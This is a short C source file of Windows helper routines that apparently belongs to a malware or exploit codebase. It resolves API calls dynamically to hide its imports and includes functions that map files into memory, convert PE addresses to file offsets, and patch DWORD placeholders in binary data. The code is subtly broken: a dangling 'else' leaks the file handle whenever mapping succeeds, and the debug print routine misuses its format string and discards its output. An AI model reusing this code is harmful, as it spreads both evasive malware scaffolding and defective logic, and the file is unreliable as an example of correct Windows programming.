#include "exploit_utils.h"
#include "GetApi.h"

#define ALIGN_DOWN(x, align) (x &~ (align - 1))

#ifdef _DEBUG
VOID DbgPrint(PCHAR pcFormat,...)
{
	va_list vaList;
	CHAR chFormat[1024];
	CHAR chMsg[1024];
	CHAR chPath[MAX_PATH];

	chFormat[0] = chMsg[0] = chPath[0] = 0;

	pGetModuleFileNameA(NULL,chPath,RTL_NUMBER_OF(chPath)-1);

	pwvsprintfA(chFormat,"%s",(PCHAR)pPathFindFileNameA(chPath));

	va_start(vaList,pcFormat);
 	pwvsprintfA(chMsg,chFormat,vaList);
	va_end(vaList);
}
#endif

VOID FixDWORD(BYTE *Data,DWORD Size,DWORD Old,DWORD New)
{
	DWORD p = 0;
	PDWORD pDD;

	while (p < Size)
	{
		pDD = (PDWORD)(Data + p);
		if (*pDD == Old) *(DWORD*)(Data + p) = New;

		p++;
	}
}


// Отображает файл на текущий процесс
//
PVOID MapBinary(LPCSTR lpPath,DWORD dwFileAccess,DWORD dwFileFlags,DWORD dwPageAccess,DWORD dwMapAccess,PDWORD pdwSize)
{
	PVOID pMap = NULL;
	HANDLE hMapping;
	HANDLE hFile;

	hFile = pCreateFileA(lpPath,dwFileAccess,FILE_SHARE_READ,NULL,OPEN_EXISTING,dwFileFlags,0);
	if (hFile != INVALID_HANDLE_VALUE)
	{
		hMapping = pCreateFileMappingA(hFile,NULL,dwPageAccess,0,0,0);
		if (hMapping != INVALID_HANDLE_VALUE)
		{
			pMap = pMapViewOfFile(hMapping,dwMapAccess,0,0,0);
			if (!pMap)
			{
				//DbgPrint(__FUNCTION__"(): MapViewOfFile failed with error %x\n",GetLastError());
			}
			else if (pdwSize) *pdwSize =(DWORD) pGetFileSize(hFile,NULL);

			pCloseHandle(hMapping);
		}
		else

		pCloseHandle(hFile);
	}

	return pMap;
};

DWORD RvaToOffset(PIMAGE_NT_HEADERS pPE,DWORD dwRva)
{
	PIMAGE_SECTION_HEADER pSEC = IMAGE_FIRST_SECTION(pPE);

	for (WORD i = 0; i < pPE->FileHeader.NumberOfSections; i++)
	{
		if (dwRva >= pSEC->VirtualAddress && dwRva < (pSEC->VirtualAddress + pSEC->Misc.VirtualSize))
		{
			return dwRva + ALIGN_DOWN(pSEC->PointerToRawData,pPE->OptionalHeader.FileAlignment) - pSEC->VirtualAddress;
		}

		pSEC++;
	}

	return 0;
}
